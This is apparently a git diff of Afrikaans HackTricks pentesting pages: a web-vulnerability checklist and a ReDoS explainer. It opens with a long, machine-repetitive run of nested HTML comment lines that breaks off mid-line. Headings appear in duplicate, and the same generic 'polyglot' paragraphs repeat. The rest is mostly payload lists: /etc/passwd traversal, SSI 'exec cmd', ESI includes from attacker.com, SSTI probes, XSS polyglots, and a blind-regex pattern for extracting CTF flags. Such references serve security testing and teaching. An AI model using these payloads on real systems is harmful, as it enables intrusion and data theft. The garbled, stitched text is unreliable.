<!-- HTML Comment -->
<!-- HTML Kommentaar -->
<!-- HTML Comment with dangling markup -->
<!-- HTML Kommentaar met hangende opmaak -->
<!-- HTML Comment with dangling markup and closing tag -->
<!-- HTML Kommentaar met hangende opmaak en sluitingsteken -->
<!-- HTML Comment with dangling markup and self-closing tag -->
<!-- HTML Kommentaar met hangende opmaak en self-sluitingsteken -->
<!-- HTML Comment with dangling markup and attribute -->
<!-- HTML Kommentaar met hangende opmaak en atribuut -->
<!-- HTML Comment with dangling markup and attribute value -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde -->
<!-- HTML Comment with dangling markup and attribute value containing closing tag -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n sluitingsteken bevat -->
<!-- HTML Comment with dangling markup and attribute value containing self-closing tag -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n self-sluitingsteken bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuut bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing closing tag -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n sluitingsteken bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing self-closing tag -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n self-sluitingsteken bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuut bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing closing tag -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n sluitingsteken bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing self-closing tag -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n self-sluitingsteken bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuut bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing closing tag -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n sluitingsteken bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing self-closing tag -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n self-sluitingsteken bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing attribute -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuut bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing attribute value -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing closing tag -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n sluitingsteken bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing self-closing tag -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n self-sluitingsteken bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuut bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing closing tag -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n sluitingsteken bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing self-closing tag -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n self-sluitingsteken bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuut bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing closing tag -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n sluitingsteken bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing self-closing tag -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n self-sluitingsteken bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuut bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing closing tag -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n sluitingsteken bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing self-closing tag -->
<!-- HTML Kommentaar met hangende opmaak en atribuutwaarde wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n atribuutwaarde bevat wat 'n self-sluitingsteken bevat -->
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute
```markup
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
````
## [Lêerinsluiting/Paddeurloop](../file-inclusion/)
```
## [Lêer Insluiting/Pad Traversering](../file-inclusion/)
### Basiese Toetse
```bash
/etc/passwd
../../../../../../etc/hosts
@ -264,11 +124,9 @@ C:/windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php
```
## [Oopverwysing na 'n Ander Plek](../open-redirect.md) / [Bedrog met Aanvraag aan die Bedienerkant](../ssrf-server-side-request-forgery/)
## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
### Basiese Toetse
```bash
www.whitelisted.com
www.whitelisted.com.evil.com
@ -276,50 +134,34 @@ https://google.com
//google.com
javascript:alert(1)
```
## [ReDoS](../regular-expression-denial-of-service-redos.md)
### Basiese Toetse
```bash
(\\w*)+$
([a-zA-Z]+)*$
((a+)+)+$
```
## [Bedienersy-insluiting/Kant-insluiting](../server-side-inclusion-edge-side-inclusion-injection.md)
## [Server Side Inclusion/Edge Side Inclusion](../server-side-inclusion-edge-side-inclusion-injection.md)
### Basiese Toetse
```markup
<!--#echo var="DATE_LOCAL" -->
<!--#exec cmd="ls" -->
<esi:include src=http://attacker.com/>
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
### Polyglote
'n Polyglote is 'n tipe van aanval wat gebruik maak van 'n enkele lêer wat verskillende tipes lêerformate bevat. Hierdie aanval maak gebruik van die feit dat sommige programme die lêerformaat ignoreer en slegs die inhoud van die lêer interpreteer. Dit kan gebruik word om sekuriteitsmaatreëls te omseil en toegang tot 'n stelsel te verkry. Die volgende is 'n paar voorbeelde van polyglote aanvalle:
* **HTML/JavaScript polyglote**: Hierdie tipe polyglote bevat kode wat beide as HTML en JavaScript geïnterpreteer kan word. Dit kan gebruik word om kruisgevolg-aanvalle uit te voer.
* **PDF/JavaScript polyglote**: Hierdie tipe polyglote bevat kode wat beide as PDF en JavaScript geïnterpreteer kan word. Dit kan gebruik word om skadelike aksies uit te voer wanneer die PDF-lêer geopen word.
* **JPEG/JavaScript polyglote**: Hierdie tipe polyglote bevat kode wat beide as JPEG en JavaScript geïnterpreteer kan word. Dit kan gebruik word om skadelike aksies uit te voer wanneer die JPEG-lêer geopen word.
Polyglote aanvalle is 'n gevorderde tegniek wat deeglike kennis van die verskillende lêerformate en die programmatuur wat dit interpreteer, vereis. Dit kan gebruik word om sekuriteitslekke uit te buit en toegang tot 'n stelsel te verkry.
### Polygloths
```markup
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
## [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
## [Bedienerkant Aanvraagvervalsigting](../ssrf-server-side-request-forgery/)
Die dieselfde toetse wat vir Open Redirect gebruik word, kan hier gebruik word.
Dieselfde toetse wat gebruik word vir Oop Herlei kan hier gebruik word.
## [Bedienerkant Sjablooninspuiting](../ssti-server-side-template-injection/)
## [Server Side Template Injection](../ssti-server-side-template-injection/)
### Basiese Toetse
```markup
${{<%[%'"}}%\
{{7*7}}
@ -328,168 +170,30 @@ ${7*7}
${{7*7}}
#{7*7}
```
### Polyglote
'n Polyglote is 'n tipe van aanval wat gebruik maak van 'n enkele lêer wat verskillende tipes lêerformate bevat. Hierdie aanval maak gebruik van die feit dat sommige programme die lêerformaat ignoreer en slegs die inhoud van die lêer interpreteer. Dit kan gebruik word om sekuriteitsmaatreëls te omseil en toegang tot 'n stelsel te verkry. Die volgende is 'n paar voorbeelde van polyglote aanvalle:
* **HTML/JavaScript polyglote**: Hierdie tipe polyglote bevat kode wat beide as HTML en JavaScript geïnterpreteer kan word. Dit kan gebruik word om kruisgevolg-aanvalle uit te voer.
* **PDF/JavaScript polyglote**: Hierdie tipe polyglote bevat kode wat beide as PDF en JavaScript geïnterpreteer kan word. Dit kan gebruik word om skadelike aksies uit te voer wanneer die PDF-lêer geopen word.
* **JPEG/JavaScript polyglote**: Hierdie tipe polyglote bevat kode wat beide as JPEG en JavaScript geïnterpreteer kan word. Dit kan gebruik word om skadelike aksies uit te voer wanneer die JPEG-lêer geopen word.
Polyglote aanvalle kan baie gevaarlik wees omdat dit moeilik is om hulle te identifiseer en te blokkeer. Dit is belangrik vir beveiligingspersoneel om bewus te wees van hierdie tipe aanvalle en om toepaslike maatreëls te tref om hulle te voorkom.
### Polygloths
```python
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
```
## [XSLT-bedienerkant-inspuiting](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
## [XSLT Server Side Injection](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
### Basiese Toetse
```markup
<xsl:value-of select="system-property('xsl:version')" />
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
```
### Polyglote
'n Polyglote is 'n tipe van aanval wat gebruik maak van 'n enkele lêer wat verskillende tipes lêerformate bevat. Hierdie aanval maak gebruik van die feit dat sommige programme die lêerformaat ignoreer en slegs die inhoud van die lêer interpreteer. Dit kan gebruik word om sekuriteitsmaatreëls te omseil en toegang tot 'n stelsel te verkry. Die volgende is 'n lys van bekende polyglote aanvalle:
* HTML/JavaScript polyglote
* PDF/JavaScript polyglote
* ZIP/JavaScript polyglote
* PNG/JavaScript polyglote
* GIF/JavaScript polyglote
* JPEG/JavaScript polyglote
* SVG/JavaScript polyglote
* MP4/JavaScript polyglote
* MP3/JavaScript polyglote
* WAV/JavaScript polyglote
* PDF/Flash polyglote
* ZIP/Flash polyglote
* PNG/Flash polyglote
* GIF/Flash polyglote
* JPEG/Flash polyglote
* SVG/Flash polyglote
* MP4/Flash polyglote
* MP3/Flash polyglote
* WAV/Flash polyglote
Hierdie aanvalle kan gebruik word om verskeie tipes aanvalle uit te voer, soos XSS, CSRF, RCE en meer. Dit is belangrik om bewus te wees van hierdie aanvalstegnieke en om toepaslike maatreëls te tref om dit te voorkom.
### Polygloths
```markup
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
```
## XSS
### Basiese Toetse
#### Reflected XSS
Reflected XSS is 'n tipe aanval waar 'n aanvaller skadelike kodering insluit in 'n HTTP-verkrygingsversoek wat deur die webtoepassing verwerk word en dan teruggestuur word na die gebruiker. Die aanvaller probeer om die gebruiker se webblaaier te laat uitvoer van die skadelike kodering, wat kan lei tot die uitvoering van skadelike aksies op die gebruiker se rekenaar.
**Basiese Reflected XSS-toets**
Om 'n basiese reflected XSS-toets uit te voer, volg hierdie stappe:
1. Identifiseer 'n invoerveld op die teikenwebwerf waarin die ingevoerde data direk op die bladsy weergegee word.
2. Voer 'n skadelike invoer in die invoerveld in, byvoorbeeld `<script>alert('XSS')</script>`.
3. Stuur die HTTP-verkrygingsversoek na die webtoepassing.
4. As die skadelike kodering suksesvol uitgevoer word, sal 'n pop-up venster met die teks "XSS" verskyn.
**Reflected XSS met HTML-invoerveld**
As die teikenwebwerf 'n HTML-invoerveld gebruik om data te vertoon, kan jy die volgende skadelike invoer probeer:
```
"><script>alert('XSS')</script>
```
Hierdie invoer sal die HTML-invoerveld se sluitende aanhalingsteken verbreek en jou in staat stel om skadelike kodering in te sluit.
**Reflected XSS met URL-parameter**
As die teikenwebwerf URL-parameters gebruik om data te vertoon, kan jy die volgende skadelike invoer probeer:
```
?search=<script>alert('XSS')</script>
```
Hierdie invoer sal die URL-parameter gebruik om die skadelike kodering in te sluit.
#### Stored XSS
Stored XSS is 'n tipe aanval waar 'n aanvaller skadelike kodering insluit in 'n databasis of 'n ander permanente stoorplek wat deur die webtoepassing gebruik word. Wanneer 'n gebruiker die betrokke data ophaal of vertoon, word die skadelike kodering uitgevoer en kan dit lei tot die uitvoering van skadelike aksies op die gebruiker se rekenaar.
**Basiese Stored XSS-toets**
Om 'n basiese stored XSS-toets uit te voer, volg hierdie stappe:
1. Identifiseer 'n invoerveld op die teikenwebwerf waarin die ingevoerde data gestoor en later vertoon word.
2. Voer 'n skadelike invoer in die invoerveld in, byvoorbeeld `<script>alert('XSS')</script>`.
3. Stuur die invoerveld na die webtoepassing en verseker dat die data gestoor word.
4. Haal die data op wat jy gestoor het en kyk of die skadelike kodering uitgevoer word.
**Stored XSS met HTML-invoerveld**
As die teikenwebwerf 'n HTML-invoerveld gebruik om data te stoor en te vertoon, kan jy die volgende skadelike invoer probeer:
```
"><script>alert('XSS')</script>
```
Hierdie invoer sal die HTML-invoerveld se sluitende aanhalingsteken verbreek en jou in staat stel om skadelike kodering in te sluit.
**Stored XSS met kommentaarveld**
As die teikenwebwerf 'n kommentaarveld gebruik om data te stoor en te vertoon, kan jy die volgende skadelike invoer probeer:
```
<!-- <script>alert('XSS')</script> -->
```
Hierdie invoer sal die skadelike kodering in 'n HTML-kommentaar verberg, maar dit sal steeds uitgevoer word wanneer die kommentaarveld vertoon word.
#### DOM-based XSS
DOM-based XSS is 'n tipe aanval waar die skadelike kodering direk in die Document Object Model (DOM) van die webblaaier ingesluit word. Die kodering word dan uitgevoer wanneer die webblaaier die betrokke DOM-elemente manipuleer.
**Basiese DOM-based XSS-toets**
Om 'n basiese DOM-based XSS-toets uit te voer, volg hierdie stappe:
1. Identifiseer 'n invoerveld op die teikenwebwerf waarin die ingevoerde data gebruik word om die DOM te manipuleer.
2. Voer 'n skadelike invoer in die invoerveld in, byvoorbeeld `<script>alert('XSS')</script>`.
3. Kyk of die skadelike kodering uitgevoer word wanneer die betrokke DOM-elemente gemanipuleer word.
**DOM-based XSS met URL-parameter**
As die teikenwebwerf URL-parameters gebruik om die DOM te manipuleer, kan jy die volgende skadelike invoer probeer:
```
?lang=<script>alert('XSS')</script>
```
Hierdie invoer sal die URL-parameter gebruik om die skadelike kodering in te sluit en die DOM te manipuleer.
```markup
" onclick=alert() a="
'"><img src=x onerror=alert(1) />
javascript:alert()
```
### Polyglote
'n Polyglote is 'n tipe van aanval wat gebruik maak van 'n enkele lêer wat verskillende tipes lêerformate bevat. Hierdie aanval maak gebruik van die feit dat sommige programme die lêerformaat ignoreer en slegs die inhoud van die lêer interpreteer. Dit kan gebruik word om sekuriteitsmaatreëls te omseil en toegang tot 'n stelsel te verkry. Die volgende is 'n paar voorbeelde van polyglote aanvalle:
* **HTML/JavaScript polyglote**: Hierdie tipe polyglote bevat beide HTML- en JavaScript-kode. Dit kan gebruik word om kruisgebruikerskripsie (XSS) aanvalle uit te voer.
* **PDF/JavaScript polyglote**: Hierdie tipe polyglote bevat beide PDF- en JavaScript-kode. Dit kan gebruik word om skadelike kodes in 'n PDF-lêer in te sluit.
* **JPEG/JavaScript polyglote**: Hierdie tipe polyglote bevat beide JPEG- en JavaScript-kode. Dit kan gebruik word om skadelike kodes in 'n JPEG-lêer in te sluit.
Polyglote aanvalle is doeltreffend omdat dit die vertroue van die stelsel se veiligheidsmaatreëls misbruik. Dit is belangrik om bewus te wees van hierdie tipe aanvalle en om toepaslike maatreëls te tref om dit te voorkom.
### Polygloths
```markup
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
@ -517,17 +221,17 @@ javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//'>
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=document.location=`//localhost/mH`//>
```
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,32 +1,31 @@
# Regular expression Denial of Service - ReDoS
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Regular Expression Denial of Service (ReDoS)
'n **Regular Expression Denial of Service (ReDoS)** gebeur wanneer iemand voordeel trek uit swakhede in hoe regulêre uitdrukkings ( 'n manier om patrone in teks te soek en pas) werk. Soms, wanneer regulêre uitdrukkings gebruik word, kan hulle baie stadig word, veral as die stuk teks waarmee hulle werk, groter word. Hierdie stadigheid kan so erg word dat dit baie vinnig groei selfs met klein toenames in die teks grootte. Aanvallers kan hierdie probleem gebruik om 'n program wat regulêre uitdrukkings gebruik, lankal nie behoorlik werk nie.
'n **Regular Expression Denial of Service (ReDoS)** gebeur wanneer iemand voordeel trek uit swakhede in hoe regular expressions (n manier om patrone in teks te soek en te pas) werk. Soms, wanneer regular expressions gebruik word, kan hulle baie stadig raak, veral as die stuk teks waarmee hulle werk groter word. Hierdie traagheid kan so erg raak dat dit regtig vinnig groei met selfs klein verhogings in die teksgrootte. Aanvallers kan hierdie probleem gebruik om 'n program wat regular expressions gebruik, te laat ophou om behoorlik te werk vir 'n lang tyd.
## Die Problematiese Regex Naïve Algoritme
## The Problematic Regex Naïve Algorithm
**Kyk na die besonderhede in [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
## Evil Regexes <a href="#evil-regexes" id="evil-regexes"></a>
## Bose Regexes <a href="#evil-regexes" id="evil-regexes"></a>
'n Bose regulêre uitdrukkingspatroon is een wat **vassteek op gekonstrueerde insette en 'n DoS veroorsaak**. Bose regex-patrone bevat tipies groepering met herhaling en herhaling of afwisseling met oorvleueling binne die herhaalde groep. 'n Paar voorbeelde van bose patrone sluit in:
'n Boosaardige regular expression patroon is daardie een wat kan **vastloop op vervaardigde invoer wat 'n DoS veroorsaak**. Boosaardige regex patrone bevat tipies groepering met herhaling en herhaling of alternasie met oorvleueling binne die herhaalde groep. Sommige voorbeelde van boosaardige patrone sluit in:
* (a+)+
* ([a-zA-Z]+)*
@ -34,22 +33,22 @@ Ander maniere om HackTricks te ondersteun:
* (a|a?)+
* (.*a){x} vir x > 10
Al hierdie is vatbaar vir die inset `aaaaaaaaaaaaaaaaaaaaaaaa!`.
Al hierdie is kwesbaar vir die invoer `aaaaaaaaaaaaaaaaaaaaaaaa!`.
## ReDoS-lading
## ReDoS Payloads
### Teksuitvoer via ReDoS
### String Exfiltration via ReDoS
In 'n CTF (of foutbeloning) beheer jy dalk die Regex waarmee 'n sensitiewe inligting (die vlag) ooreenstem. Dan kan dit nuttig wees om die bladsy te **bevries (tyduitloop of langer verwerkingstyd)** as die **Regex ooreenstem** en **nie as dit nie doen nie**. Op hierdie manier sal jy in staat wees om die teks **karakter vir karakter uit te voer**:
In 'n CTF (of bug bounty) mag jy **die Regex beheer waar 'n sensitiewe inligting (die vlag) mee ooreengestem word**. Dan kan dit nuttig wees om die **bladsy te laat vries (timeout of langer verwerkingstyd)** as die **Regex ooreengestem het** en **nie as dit nie gedoen het nie**. Op hierdie manier sal jy in staat wees om die string **karakter vir karakter** te **exfiltreer**:
* In [**hierdie pos**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) kan jy hierdie ReDoS-reël vind: `^(?=<flag>)((.*)*)*salt$`
* In [**hierdie pos**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) kan jy hierdie ReDoS reël vind: `^(?=<flag>)((.*)*)*salt$`
* Voorbeeld: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
